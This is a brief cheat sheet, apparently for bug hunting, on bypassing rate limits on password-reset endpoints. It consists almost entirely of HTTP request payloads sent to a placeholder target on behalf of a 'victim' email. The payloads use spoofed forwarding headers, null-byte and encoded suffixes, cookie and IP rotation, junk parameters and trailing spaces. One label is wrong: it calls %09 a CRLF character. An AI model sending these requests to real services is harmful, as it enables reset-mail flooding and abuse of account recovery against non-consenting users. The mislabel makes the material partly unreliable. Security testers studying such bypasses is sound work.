Try add some custom header

X-Forwarded-For : 127.0.0.1
X-Forwarded-Host : 127.0.0.1
X-Client-IP : 127.0.0.1
X-Remote-IP : 127.0.0.1
X-Remote-Addr : 127.0.0.1
X-Host : 127.0.0.1

For example:

POST /ForgotPass.php HTTP/1.1
Host: target.com
X-Forwarded-For : 127.0.0.1
...
 
email=victim@gmail.com

Adding Null Byte ( %00 ) or CRLF ( %09, %0d, %0a ) at the end of

the Email can bypass rate limit.

POST /ForgotPass.php HTTP/1.1
Host: target.com
...
 
email=victim@gmail.com%00

Try changing user-agents, cookies and IP address

POST /ForgotPass.php HTTP/1.1
Host: target.com
Cookie: xxxxxxxxxx
...
 
email=victim@gmail.com

Try this to bypass

POST /ForgotPass.php HTTP/1.1
Host: target.com
Cookie: aaaaaaaaaaaaa
...
 
email=victim@gmail.com

Add a random parameter on the last endpoint

POST /ForgotPass.php HTTP/1.1
Host: target.com
...
 
email=victim@gmail.com

Try this to bypass

POST /ForgotPass.php?random HTTP/1.1
Host: target.com
...
 
email=victim@gmail.com

Add space after the parameter value

POST /api/forgotpass HTTP/1.1
Host: target.com
...
 
{"email":"victim@gmail.com"}

Try this to bypass

POST /api/forgotpass HTTP/1.1
Host: target.com
...
 
{"email":"victim@gmail.com "}

References